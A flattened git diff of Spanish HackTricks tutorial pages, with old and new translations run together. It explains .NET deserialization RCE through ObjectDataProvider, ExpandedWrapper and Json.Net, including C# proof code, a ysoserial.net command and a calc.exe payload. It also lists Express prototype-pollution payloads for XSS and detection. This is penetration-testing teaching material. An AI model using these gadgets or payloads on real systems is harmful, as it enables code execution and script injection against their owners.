Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,30 +1,33 @@
# Deserialización básica de .Net (gadget ObjectDataProvider, ExpandedWrapper y Json.Net) # Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
Este post está dedicado a **comprender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget. Esta publicación está dedicada a **entender cómo se explota el gadget ObjectDataProvider** para obtener RCE y **cómo** las bibliotecas de Serialización **Json.Net y xmlSerializer pueden ser abusadas** con ese gadget.
## Gadget ObjectDataProvider ## Gadget ObjectDataProvider
Según la documentación: _la Clase ObjectDataProvider envuelve y crea un objeto que puedes usar como origen de enlace_.\ De la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace_.\
Sí, es una explicación extraña, así que veamos qué tiene de interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\ Sí, es una explicación extraña, así que veamos qué tiene de interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.** Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
### **¿Cómo es esto posible?** ### **Cómo es esto posible**
El espacio de nombres **System.Windows.Data**, encontrado dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa ObjectDataProvider. El espacio de nombres **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la siguiente imagen estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método** Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
![](<../../.gitbook/assets/image (427).png>) ![](<../../.gitbook/assets/image (427).png>)
@ -32,17 +35,17 @@ Como puedes observar, cuando se establece `MethodName`, se llama a `base.Refresh
![](<../../.gitbook/assets/image (319).png>) ![](<../../.gitbook/assets/image (319).png>)
Bien, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es anulado por `ObjectDataProvider` y esto es lo que hace: Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobreescrito por `ObjectDataProvider` y esto es lo que hace:
![](<../../.gitbook/assets/image (345).png>) ![](<../../.gitbook/assets/image (345).png>)
Ten en cuenta que al final del código se está llamando a `this.QueryWorke(null)`. Veamos qué ejecuta eso: Nota que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
![](<../../.gitbook/assets/image (596).png>) ![](<../../.gitbook/assets/image (596).png>)
Ten en cuenta que este no es el código completo de la función `QueryWorker` pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**. Nota que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
Si deseas comprobar que al establecer el _**MethodName**_ se ejecutará, puedes ejecutar este código: Si quieres comprobar que solo estableciendo el _**MethodName**_\*\* se ejecutará\*\*, puedes ejecutar este código:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -62,18 +65,16 @@ myODP.MethodName = "Start";
} }
} }
``` ```
```markdown Note que necesita agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
Tenga en cuenta que es necesario agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
## ExpandedWrapper ## ExpandedWrapper
Utilizando el exploit anterior, habrá casos en los que el **objeto** se va a **deserializar como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vulnerabilidad de DotNetNuke, utilizando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, no tendremos **conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (`Process` por ejemplo). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). Usando el exploit anterior, habrá casos en los que el **objeto** será **deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, **no tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (por ejemplo, `Process`). Puede encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
Esta clase permite **especificar los tipos de objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede utilizar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\ Esta clase permite **especificar los tipos de objeto de los objetos que están encapsulados** en una instancia dada. Así, esta clase puede ser utilizada para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** y **al deserializar** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_. Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** \_ y **cuando se deserialice** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
Puede verificar este envoltorio con el siguiente código: Puede verificar este wrapper con el siguiente código:
```
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -97,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET**. Por lo tanto, si pudiéramos **deserializar el gadget ObjectDataProvider**, podríamos causar una **RCE** solo deserializando un objeto. En la [página web oficial](https://www.newtonsoft.com/json) se indica que esta biblioteca permite **Serializar y deserializar cualquier objeto .NET con el poderoso serializador JSON de Json.NET**. Así que, si pudiéramos **deserializar el gadget ObjectDataProvider**, podríamos causar un **RCE** solo deserializando un objeto.
### Ejemplo de Json.Net ### Ejemplo de Json.Net
En primer lugar, veamos un ejemplo de cómo **serializar/deserializar** un objeto usando esta biblioteca: Primero que nada, veamos un ejemplo de cómo **serializar/deserializar** un objeto utilizando esta biblioteca:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -144,9 +145,9 @@ Console.WriteLine(desaccount.Email);
} }
} }
``` ```
### Abusando de Json.Net ### Abusing Json.Net
Utilizando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit: Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el exploit:
```java ```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{ {
@ -159,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
} }
``` ```
En este código puedes **probar el exploit**, simplemente ejecútalo y verás que se ejecuta una calculadora: En este código puedes **probar el exploit**, solo ejecútalo y verás que se ejecuta un calc:
```java ```java
using System; using System;
using System.Text; using System.Text;
@ -196,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
} }
} }
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Gadgets de Polución de Prototipos en Express # Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
@ -28,13 +29,13 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
*** ***
## Servir respuestas XSS ## Serve XSS responses
**Para más detalles** [**echa un vistazo a la investigación original**](https://portswigger.net/research/server-side-prototype-pollution) **Para más detalles** [**echa un vistazo a la investigación original**](https://portswigger.net/research/server-side-prototype-pollution)
### Cambiar el tipo de contenido JSON a HTML ### Cambiar el tipo de contenido JSON a HTML
En una aplicación Express que utiliza una respuesta de tipo de contenido **JSON** y refleja un JSON: En una aplicación Express que utiliza una **respuesta de tipo de contenido JSON** y refleja un JSON:
```javascript ```javascript
app.use(bodyParser.json({type: 'application/json'})); app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){ app.post('/', function(req, res){
@ -42,11 +43,13 @@ _.merge({}, req.body);
res.send(req.body); res.send(req.body);
}); });
``` ```
En estos casos, normalmente no es posible realizar XSS con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad depende de que la aplicación utilice **`res.send(obj)`** y del uso del analizador de cuerpo con el tipo de contenido application/json. En estos casos, XSS normalmente no es posible con un tipo de contenido JSON. Sin embargo, con la contaminación del prototipo podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad se basa en que la aplicación utiliza **`res.send(obj)`** y usa el analizador de cuerpo con el tipo de contenido application/json.
```json ```json
{"__proto__":{"_body":true,"body":"<script>evil()"}} {"__proto__":{"_body":true,"body":"<script>evil()"}}
``` ```
### Render UTF7 Al **contaminar** las propiedades **`body`** y **`_body`**, es posible hacer que **Express sirva el tipo de contenido HTML** y refleje la propiedad `_body`, lo que resulta en XSS almacenado.
### Renderizar UTF7
Es posible hacer que express **renderice contenido UTF-7 con**: Es posible hacer que express **renderice contenido UTF-7 con**:
```json ```json
@ -54,23 +57,23 @@ Es posible hacer que express **renderice contenido UTF-7 con**:
``` ```
## Técnicas de Escaneo Seguras ## Técnicas de Escaneo Seguras
### Espacios en JSON ### Espacios JSON
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra que no romperá la funcionalidad: El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra que no romperá la funcionalidad:
```json ```json
{"__proto__":{"json spaces": " "}} {"__proto__":{"json spaces": " "}}
``` ```
Entonces, un JSON reflejado se verá así: Entonces un JSON reflejado se verá así:
```json ```json
{"foo": "bar"} -- Note the extra space {"foo": "bar"} -- Note the extra space
``` ```
### Encabezados Expuestos ### Exposed Headers
El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: **`Access-Control-Expose_headers: foo`** El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: **`Access-Control-Expose_headers: foo`**
```json ```json
{"__proto__":{"exposedHeaders":["foo"]}} {"__proto__":{"exposedHeaders":["foo"]}}
``` ```
Se requiere que el módulo **CORS esté instalado** Requiere que el **módulo CORS esté instalado**
### **Método OPTIONS** ### **Método OPTIONS**
@ -91,7 +94,7 @@ Es posible cambiar el **código de estado devuelto** utilizando la siguiente car
``` ```
### Error ### Error
Cuando asignas un prototipo con un valor primitivo como una cadena, se produce una **operación sin efecto ya que el prototipo debe ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí mismo, esto **lanzará una excepción**. Podemos usar estos dos comportamientos para **detectar si la contaminación del prototipo fue exitosa**: Cuando asignas a un prototipo con un primitivo como una cadena, produce una **operación no-op ya que el prototipo tiene que ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí, esto **lanzará una excepción**. Podemos usar estos dos comportamientos para **detectar si la contaminación del prototipo fue exitosa**:
```javascript ```javascript
({}).__proto__.__proto__={}//throws type exception ({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception ({}).__proto__.__proto__="x"//no-op does not throw exception
@ -102,17 +105,17 @@ Cuando una aplicación incluye un objeto en su respuesta, crear un atributo con
```json ```json
{"unusualName":"value","__proto__":"test"} {"unusualName":"value","__proto__":"test"}
``` ```
Además, en escenarios donde se emplea una biblioteca como Lodash, establecer una propiedad tanto a través de la contaminación del prototipo (PP) como directamente dentro del objeto ofrece otro enfoque de diagnóstico. Si dicha propiedad se omite de la respuesta, sugiere que Lodash está verificando la existencia de la propiedad en el objeto objetivo antes de fusionarla: Además, en escenarios donde se emplea una biblioteca como Lodash, establecer una propiedad tanto a través de la contaminación del prototipo (PP) como directamente dentro del objeto ofrece otro enfoque de diagnóstico. Si tal propiedad se omite de la respuesta, sugiere que Lodash está verificando la existencia de la propiedad en el objeto objetivo antes de fusionar:
```javascript ```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"} {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
``` ```
## Varios ## Misceláneo
### Permitir puntos ### Permitir Puntos
Hay una opción en Express que te permite **crear objetos a partir de parámetros de cadena de consulta**.\ Hay una opción en Express que te permite **crear objetos a partir de parámetros de la cadena de consulta**.\
Definitivamente podrías usarlo en una **cadena** de errores para explotar una **vulnerabilidad de la contaminación de prototipos**. Definitivamente podrías usarlo en una **cadena** de errores para explotar una **vulnerabilidad de contaminación de prototipos**.
```json ```json
{"__proto__":{"allowDots":true}} {"__proto__":{"allowDots":true}}
``` ```
@ -126,24 +129,25 @@ Definitivamente podrías usarlo en una **cadena** de errores para explotar una *
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# LFI2RCE a través de archivos temporales de Nginx # LFI2RCE a través de archivos temporales de Nginx
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
